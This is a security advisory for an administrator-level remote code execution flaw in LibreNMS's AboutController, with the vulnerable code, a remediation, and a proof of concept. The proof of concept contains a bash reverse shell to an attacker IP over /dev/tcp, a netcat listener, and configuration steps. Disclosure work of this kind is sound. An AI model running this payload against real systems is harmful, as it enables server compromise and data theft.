PT-2026-83381 · Packagist · Librenms/Librenms
Published
2026-08-18
·
Updated
2026-08-18
CVSS v4.0
6.4
Medium
| Vector | AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H |
Remote Code Execution via AboutController in LibreNMS
Summary
A Remote Code Execution (RCE) vulnerability exists in LibreNMS 26.3.1 through the AboutController. An authenticated administrator can manipulate the
snmpget configuration parameter to execute arbitrary system commands. When the /about endpoint is accessed, the application executes the configured binary path via shell exec() without proper validation. This vulnerability leads to complete server compromise, allowing attackers to establish reverse shells, exfiltrate sensitive data, and maintain persistent access.Severity: High (CVSS 7.2)
Attack Vector: Network
Privileges Required: High (Administrator)
User Interaction: None
Impact: Complete system compromise with web server privileges
Details
Vulnerable Code
File:
app/Http/Controllers/AboutController.php
Line: 85php
'version netsnmp' => str replace('version: ', '',
rtrim(shell exec(LibrenmsConfig::get('snmpget', 'snmpget') . ' -V 2>&1'))),Root Cause
The AboutController retrieves the
snmpget configuration value from the database and directly concatenates it into a shell exec() call without proper validation or escaping. While the sanitizePath() function attempts to validate executable paths by blocking special characters (;, `, #, $, |, &, ', ", >, <, (), it only prevents direct command injection. It does NOT prevent an attacker from pointing the configuration to a malicious executable file already present on the system.Configuration Access
The
snmpget configuration can be modified through the web interface:- Endpoint:
PUT /settings/snmpget - Controller:
SettingsController::update() - Required Privileges: Administrator
- Config Definition:
resources/definitions/config definitions.json
json
"snmpget": {
"default": "/usr/bin/snmpget",
"type": "executable"
}Validation Analysis
The
sanitizePath() function in DynamicConfigItem.php:php
// LibreNMS/Util/DynamicConfigItem.php:277-284
private function sanitizePath(string $path): string|false
{
if (preg match('/[`;#$|&'"><(]/', $path)) {
return false;
}
return realpath($path);
}
// LibreNMS/Util/DynamicConfigItem.php:107-110
} elseif ($this->type === 'executable') {
$value == $this->sanitizePath($value);
return $value !== false && is file($value) && is executable($value);
}Attack Scenarios
| Scenario | Description |
|---|---|
| Insider Threat | Internal admin creates malicious file → updates config → RCE |
| Privilege Escalation | Attacker with limited access → creates file → full RCE |
| Supply Chain | Malicious package installs binary → admin uses it → RCE |
PoC
Prerequisites
- Valid administrator credentials for LibreNMS web interface
- Ability to create a file on the target system (via prior access, SSH, or another vulnerability)
Proof of Concept - Reverse Shell
Step 1: Create Malicious Executable
Create a reverse shell payload that connects back to the attacker:
bash
ATTACKER IP="172.16.69.144"
ATTACKER PORT=9001
bash -c 'bash -i >& /dev/tcp/'$ATTACKER IP'/'$ATTACKER PORT' 0>&1' 2>/dev/nullSave this as
/tmp/rev shell.sh and make it executable:bash
chmod +x /tmp/rev shell.shStep 2: Setup Netcat Listener
On your attacking machine, start a netcat listener:
bash
nc -lvnp 9001Step 3: Update Configuration via Web Interface
Login to LibreNMS web interface as administrator and navigate to:
- Settings → External → Binaries
- Locate snmpget configuration
- Update the value to:
/tmp/rev shell.sh - Click Save
Step 4: Trigger RCE
Access the
/about endpoint to execute the malicious binary:Impact Summary
| Category | Level | Description |
|---|---|---|
| Confidentiality | HIGH | Read config files, database credentials, SSH keys |
| Integrity | HIGH | Create webshells, backdoors, modify code |
| Availability | HIGH | Disrupt services, delete data, stop monitoring |
| Scope | CHANGED | Compromise extends beyond application to system |
Who Is Impacted
- LibreNMS installations where attacker has admin credentials AND file system access
- Organizations using LibreNMS for network monitoring
- Systems monitored by LibreNMS (lateral movement risk)
Remediation
Replace
shell exec() with Symfony Process component:php
// BEFORE (vulnerable):
shell exec(LibrenmsConfig::get('snmpget', 'snmpget') . ' -V 2>&1')
// AFTER (safe):
$process = new Process([LibrenmsConfig::get('snmpget', 'snmpget'), '-V']);
$process->run();Fix
Command Injection
OS Command Injection
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Related Identifiers
Affected Products
Librenms/Librenms